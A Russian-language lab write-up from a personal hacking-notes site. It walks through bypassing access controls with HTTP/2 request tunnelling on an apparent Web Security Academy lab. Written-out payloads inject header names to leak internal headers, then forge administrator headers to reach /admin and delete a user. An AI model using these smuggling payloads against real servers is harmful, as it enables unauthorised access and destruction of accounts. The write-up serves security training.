> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/bypass-access-controls-via-http-2-tunneling.md).

# Обход контроля доступа через туннелирование HTTP 2

### Обход механизмов контроля доступа через туннелирование HTTP/2-запросов

#### **Описание лабораторной работы**

Эта лабораторная работа уязвима к атаке на смешивание запросов, поскольку фронтальный сервер понижает HTTP/2-запросы до HTTP/1, при этом некорректно очищая входящие имена заголовков. / Чтобы решить лабораторную работу, вам нужно получить доступ к панели администратора, расположенной по адресу **/admin** как администратор, а затем удалите пользователя **carlos**.

Фронтальный сервер не переиспользует соединение с внутренним сервером, поэтому он не уязвим к классическим атакам на смешивание запросов. С другой стороны, он по-прежнему подвержен **Туннелирование HTTP/2**.

#### **Изучение поведения сервера**

Сначала добавьте пользовательский заголовок, например:

{% code title="Имя:" %}

```http
Test: Testing
Host: jord4n.pro
Значение:
```

{% endcode %}

<pre class="language-http" data-title="Значение:"><code class="lang-http"><strong>значение
</strong></code></pre>

<figure><img src="/files/0bacfdbecfd52b4e25aedfae8c72992a41842add" alt=""><figcaption></figcaption></figure>

Затем сервер возвращает ошибку, указывающую, что заголовок можно внедрить.

<figure><img src="/files/54767f8fc7f8bb34c58e8c6068d7461cc91f3924" alt=""><figcaption></figcaption></figure>

Затем, если мы введём в поисковую систему что-то вроде:

{% code title="Название" %}

```http
Test: testing
Content-Length: 100

search=testing
```

{% endcode %}

<figure><img src="/files/cf8548e40528ccc641ea9636f0de03fb11a812d7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/61d2d7d3ef40c4b02acf0fe36abf6dcb1f4630aa" alt="" width="316"><figcaption></figcaption></figure>

фронтальный сервер запутывается из-за этого дополнительного заголовка. / Увеличив **Content-Length** примерно до **150**, сервер возвращает внутренние заголовки:

```http
cookie: session=hGFEdnaCHTLJR2gv68Qj600nBECAmCeL
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 7732064356452682
```

<figure><img src="/files/7ce03208e560efb295c6dd1f9a37c99275bf8b9f" alt=""><figcaption></figcaption></figure>

#### **Формирование туннелированного запроса**

Теперь внедряется новая последовательность заголовков:

```http
Test: testing

GET /admin HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682


```

Чтобы туннелирование работало корректно, указываются правильный метод (HEAD или GET, если это уместно) и требуемый маршрут.

<figure><img src="/files/a795e2dcad3269ff98417723bfd696febef9b877" alt=""><figcaption></figcaption></figure>

Затем открывается панель администратора, где пользователи **wiener** и **carlos** отображаются.

<figure><img src="/files/1ca6d5b48652c32567af745b5461d4f3eb10b62a" alt=""><figcaption></figcaption></figure>

#### **Удаление пользователя**

Удаление выполняется путём отправки аналогичного туннелированного запроса:

```http
Test: testing

GET /admin/delete?username=carlos HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682


```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/bypass-access-controls-via-http-2-tunneling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
